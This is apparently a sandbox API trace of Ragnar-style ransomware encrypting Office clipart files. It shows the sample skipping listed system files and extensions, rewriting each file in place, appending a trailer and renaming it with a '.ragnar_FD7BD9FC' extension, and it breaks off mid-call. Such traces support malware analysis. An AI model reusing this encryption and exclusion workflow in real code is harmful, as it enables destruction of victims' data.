ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.006] VirtualAlloc (lpAddress=0x0, dwSize=0x32f2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.006] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x32f2, lpOverlapped=0x0) returned 1 [0082.007] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.007] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.007] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x32f2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x32f2, lpOverlapped=0x0) returned 1 [0082.007] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.007] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.008] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.008] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.008] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.008] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.008] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.008] GetProcessHeap () returned 0x580000 [0082.008] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.008] CloseHandle (hObject=0xf4) returned 1 [0082.008] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" [0082.008] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.ragnar_FD7BD9FC" [0082.008] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.009] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0082.009] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.009] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ED00172_.WMF" | out: lpString1="ED00172_.WMF") returned="ED00172_.WMF" [0082.009] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned=".WMF" [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="autorun.inf") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="boot.ini") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="bootfont.bin") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="bootsect.bak") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="bootmgr") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="bootmgr.efi") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="desktop.ini") returned 1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="iconcache.db") returned -1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="ntldr") returned -1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="ntuser.dat") returned -1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="ntuser.ini") returned -1 [0082.009] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="thumbs.db") returned -1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.009] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0082.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.010] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2700) returned 1 [0082.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.010] GetProcessHeap () returned 0x580000 [0082.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.010] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.011] VirtualAlloc (lpAddress=0x0, dwSize=0xa8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.012] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa8c, lpOverlapped=0x0) returned 1 [0082.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.012] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa8c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa8c, lpOverlapped=0x0) returned 1 [0082.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.012] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.012] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.012] GetProcessHeap () returned 0x580000 [0082.012] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.012] CloseHandle (hObject=0xf4) returned 1 [0082.013] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" [0082.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.ragnar_FD7BD9FC" [0082.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0082.016] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.016] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ED00184_.WMF" | out: lpString1="ED00184_.WMF") returned="ED00184_.WMF" [0082.016] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned=".WMF" [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="autorun.inf") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="boot.ini") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="bootfont.bin") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="bootsect.bak") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="bootmgr") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="bootmgr.efi") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="desktop.ini") returned 1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="iconcache.db") returned -1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="ntldr") returned -1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="ntuser.dat") returned -1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="ntuser.ini") returned -1 [0082.016] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="thumbs.db") returned -1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.016] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0082.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.017] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6958) returned 1 [0082.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.017] GetProcessHeap () returned 0x580000 [0082.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.017] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.018] VirtualAlloc (lpAddress=0x0, dwSize=0x1b2e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.019] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b2e, lpOverlapped=0x0) returned 1 [0082.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.019] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b2e, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.019] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b2e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b2e, lpOverlapped=0x0) returned 1 [0082.019] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b2e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.019] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.020] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.020] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.020] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.020] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.020] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.020] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.020] GetProcessHeap () returned 0x580000 [0082.020] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.020] CloseHandle (hObject=0xf4) returned 1 [0082.020] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" [0082.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.ragnar_FD7BD9FC" [0082.020] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.021] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0082.021] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.021] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00006_.WMF" | out: lpString1="EN00006_.WMF") returned="EN00006_.WMF" [0082.021] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned=".WMF" [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="autorun.inf") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="boot.ini") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="bootfont.bin") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="bootsect.bak") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="bootmgr") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="bootmgr.efi") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="desktop.ini") returned 1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="iconcache.db") returned -1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="ntldr") returned -1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="ntuser.dat") returned -1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="ntuser.ini") returned -1 [0082.021] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="thumbs.db") returned -1 [0082.021] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.021] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.021] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.021] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.021] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.021] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.022] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0082.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.025] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13936) returned 1 [0082.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3667, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.025] GetProcessHeap () returned 0x580000 [0082.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.025] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.027] VirtualAlloc (lpAddress=0x0, dwSize=0x3670, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.027] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x1eaf34, 